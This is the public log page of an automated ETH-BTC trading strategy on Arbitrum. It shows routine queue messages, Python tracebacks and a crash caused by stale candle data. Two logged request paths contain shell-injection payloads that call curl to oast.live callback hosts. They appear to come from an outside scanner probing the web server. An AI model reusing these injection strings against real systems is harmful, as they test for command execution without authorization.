Strategy icon

ETH-BTC long swing beta

ETH and BTC slow moving momentum strategy on Arbitrum

Strategy Logs

Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
RuntimeError('deque mutated during iteration')
Traceback (most recent call last): (9 lines) File "/usr/local/lib/python3.11/site-packages/pyramid/tweens.py", line 41, in excview_tween response = handler(request) ^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 143, in handle_request response = _call_view( ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 92, in sentry_patched_call_view return old_call_view(registry, request, *args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/view.py", line 674, in _call_view response = view_callable(context, request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/viewderivers.py", line 427, in rendered_view result = view(context, request) ^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/viewderivers.py", line 141, in _requestonly_view response = view(request) ^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/api.py", line 174, in web_logs logs = ring_buffer_handler.export() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/utils/ring_buffer_logging_handler.py", line 90, in export for r in self.buffer: RuntimeError: deque mutated during iteration
Task queue depth is 1
An error in API endpoint: deque mutated during iteration
Task queue depth is 1
RuntimeError('deque mutated during iteration')
Traceback (most recent call last): (9 lines) File "/usr/local/lib/python3.11/site-packages/pyramid/tweens.py", line 41, in excview_tween response = handler(request) ^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 143, in handle_request response = _call_view( ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 92, in sentry_patched_call_view return old_call_view(registry, request, *args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/view.py", line 674, in _call_view response = view_callable(context, request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/viewderivers.py", line 427, in rendered_view result = view(context, request) ^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/viewderivers.py", line 141, in _requestonly_view response = view(request) ^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/api.py", line 174, in web_logs logs = ring_buffer_handler.export() ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/utils/ring_buffer_logging_handler.py", line 90, in export for r in self.buffer: RuntimeError: deque mutated during iteration
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 2
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 2
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d8o47oi2uaibt3eg1nkg6jgff77y76oic.oast.live+-H+'User-Agent:+FSmyDg'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d8o47oi2uaibt3eg1nkgn3md6q64xonxg.oast.live+-H+'User-Agent:+FSmyDg'};"
Traceback (most recent call last): (22 lines) File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1864, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 139, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1799, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 132, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1799, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d8o47oi2uaibt3eg1nkg6endn18itsy9d.oast.live+-H+'User-Agent:+FSmyDg'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d8o47oi2uaibt3eg1nkg9zid4ahrebys5.oast.live+-H+'User-Agent:+FSmyDg'};"
Traceback (most recent call last): (22 lines) File "/usr/local/lib/python3.11/site-packages/waitress/channel.py", line 428, in service task.service() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 168, in service self.execute() File "/usr/local/lib/python3.11/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1864, in runner return sentry_patched_function(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 134, in sentry_patched_wsgi_call return middleware(environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 139, in __call__ reraise(*_capture_exception()) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1799, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/wsgi.py", line 132, in __call__ response = self.app( ^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 128, in sentry_patched_inner_wsgi_call reraise(*einfo) File "/usr/local/lib/python3.11/site-packages/sentry_sdk/utils.py", line 1799, in reraise raise value File "/usr/local/lib/python3.11/site-packages/sentry_sdk/integrations/pyramid.py", line 124, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 43, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Not implemented. Unknown chart type None'}
Web server returned an error: 501 {'detail': 'Not implemented. Unknown type None'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Main loop terminated. Entering to the web server wait mode. Run-time version was: Trade-executor Docker version: v1205 Commit hash: dd82ec8b9e3bfcb0074ef46b8aaf3f910316f771 Commit message: Bump dependencies
LiveSchedulingTaskFailed('trade-executor closed because one of the scheduled tasks failed')
Traceback (most recent call last): (10 lines) File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1283, in live_cycle universe = self.tick( ^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 455, in tick self.universe_model.check_data_age(ts, universe, self.max_data_delay) File "/usr/src/trade-executor/tradeexecutor/strategy/trading_strategy_universe.py", line 1782, in check_data_age raise DataTooOld( tradeexecutor.strategy.universe_model.DataTooOld: Candle data 2025-04-09 00:00:00 - 2026-05-12 00:00:00 is too old to work with we require threshold 2026-05-13 00:00:00, diff is 1 day, 0:00:00, asked best before duration is 1 day, 0:00:00 Forward-filled data is 2025-04-09 00:00:00 - 2026-05-14 00:00:00 More information in logs The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/src/trade-executor/tradeexecutor/cli/commands/start.py", line 599, in start loop.run_with_state(state) File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1571, in run_with_state return self.run_live(state) ^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1467, in run_live raise LiveSchedulingTaskFailed("trade-executor closed because one of the scheduled tasks failed") from crash_exception tradeexecutor.cli.loop.LiveSchedulingTaskFailed: trade-executor closed because one of the scheduled tasks failed
trade-executor enzyme-arbitrum-eth-btc-rsi execution loop crashed
DataTooOld('Candle data 2025-04-09 00:00:00 - 2026-05-12 00:00:00 is too old to work with\nwe require threshold 2026-05-13 00:00:00, diff is 1 day, 0:00:00, asked best before duration is 1 day, 0:00:00\nForward-filled data is 2025-04-09 00:00:00 - 2026-05-14 00:00:00\nMore information in logs')
Traceback (most recent call last): (4 lines) File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1283, in live_cycle universe = self.tick( ^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 455, in tick self.universe_model.check_data_age(ts, universe, self.max_data_delay) File "/usr/src/trade-executor/tradeexecutor/strategy/trading_strategy_universe.py", line 1782, in check_data_age raise DataTooOld( tradeexecutor.strategy.universe_model.DataTooOld: Candle data 2025-04-09 00:00:00 - 2026-05-12 00:00:00 is too old to work with we require threshold 2026-05-13 00:00:00, diff is 1 day, 0:00:00, asked best before duration is 1 day, 0:00:00 Forward-filled data is 2025-04-09 00:00:00 - 2026-05-14 00:00:00 More information in logs
Performing strategy tick #486 for timestamp 2026-05-14 00:00:00, cycle length is 1d, trigger time was 2026-05-14 00:08:00.000505, live trading is True, trading univese is None, version 0.5, max cycles None